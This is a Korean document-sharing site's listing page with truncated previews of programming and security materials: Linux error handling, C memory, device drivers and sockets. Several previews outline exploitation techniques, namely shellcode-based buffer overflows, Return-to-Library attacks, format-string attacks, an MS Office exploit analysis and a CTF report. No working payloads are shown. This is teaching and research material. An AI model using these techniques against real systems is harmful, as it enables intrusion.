<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2 제 17 장동적메모리와연결리스트 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다.

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾ P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

Smashing The Stack For Fun And Profit by Aleph One

Smashing The Stack For Fun And Profit by Aleph One Review of Aleph One s Smashing The Stack For Fun And Profit by vangelis(vangelis@wowsecurity.org) 888 888 888 888 888 888 888 888 888.d88b. 888 888 888 88888b. 8888b..d8888b 888 888.d88b. 888d888 888 888

More information

歯7장.PDF

歯7장.PDF 7 Hello!! C 2 . 3 ([] ) < > [ ]; int array[10]; < > [ ][ ]; int array [3] [5]; 4 < > [ ]={ x1,,x10} ( ); (,). ({}). : int array[10]={1,2,3,4,5,6,7,8,9,10}; (" "). : char array[7]="turbo-c"; 5 int array[2][3]={{1,2},{3,4},{5,6}};

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

chap7.PDF

chap7.PDF 7 Hello!! C 2 . 3 ([] ) < > [ ]; int array[10]; < > [ ][ ]; int array [3] [5]; 4 < > [ ]={ x1,,x10} ( ); (,). ({}). : int array[10]={1,2,3,4,5,6,7,8,9,10}; (" "). : char array[7]="turbo-c"; 5 int array[2][3]={{1,2},{3,4},{5,6}};

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

歯9장.PDF

歯9장.PDF 9 Hello!! C printf() scanf() getchar() putchar() gets() puts() fopen() fclose() fprintf() fscant() fgetc() fputs() fgets() gputs() fread() fwrite() fseek() ftell() I/O 2 (stream) C (text stream) : `/n'

More information

Microsoft PowerPoint - chap6 [호환 모드]

Microsoft PowerPoint - chap6 [호환 모드] 제 6 장프로세스 (Process) 숙대창병모 1 내용 프로세스시작 / 종료 명령중인수 / 환경변수 메모리배치 / 할당 비지역점프 숙대창병모 2 프로세스시작 / 종료 숙대창병모 3 Process Start Kernel exec system call user process Cstart-up routine call return int main(int argc,

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

untitled

untitled CAN BUS RS232 Line Ethernet CAN H/W FIFO RS232 FIFO IP ARP CAN S/W FIFO TERMINAL Emulator COMMAND Interpreter ICMP TCP UDP PROTOCOL Converter TELNET DHCP C2E SW1 CAN RS232 RJ45 Power

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을 리눅스 취약점대응방안권고 15. 01. 29 / KISA 취약점점검팀 15. 01. 30 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE-2015-0235 지정, 도메인네임을 IP로변환하는기능이포함된서비스 ( 메일, 웹등 ) 들은해당취약점에영향을받을수있음 취약점상세분석

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer

Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer Overflow & Format String :-) Author : 유동훈 (Xpl017Elz)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

본 강의에 들어가기 전

본 강의에 들어가기 전 C 기초특강 종합과제 과제내용 구조체를이용하여교과목이름과코드를파일로부터입력받아관리 구조체를이용하여학생들의이름, 학번과이수한교과목의코드와점수를파일로부터입력 학생개인별총점, 평균계산 교과목별이수학생수, 총점및평균을계산 결과를파일에저장하는프로그램을작성 2 Makefile OBJS = score_main.o score_input.o score_calc.o score_print.o

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

various tricks for remote linux exploits v3.pptx

various tricks for remote linux exploits v3.pptx various tricks for linux remote exploits 이석하 wh1ant 2013.11.30 www.codeengn.com 2013 CodeEngn Conference 09 Thank you The author would like to thank to trigger for reviewing this paper :) 순서 1 - Traditional

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

컴파일러

컴파일러 YACC 응용예 Desktop Calculator 7/23 Lex 입력 수식문법을위한 lex 입력 : calc.l %{ #include calc.tab.h" %} %% [0-9]+ return(number) [ \t] \n return(0) \+ return('+') \* return('*'). { printf("'%c': illegal character\n",

More information

untitled

untitled int i = 10; char c = 69; float f = 12.3; int i = 10; char c = 69; float f = 12.3; printf("i : %u\n", &i); // i printf("c : %u\n", &c); // c printf("f : %u\n", &f); // f return 0; i : 1245024 c : 1245015

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

$ret = ; $socket = fsockopen( , 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $ The 5eX m2n 푼문제 : O O O X O X X O O X O O O O X O X O O O level1 : parse string Level1은 210:207.246.131 이라는 IP와 8888이라는포트번호가주어진다. 접속하여보면, base64로인코딩된스트링을보여주면서, Plain text를전송하라고한다. Base64된스트링을디코드해보면, beistlab

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information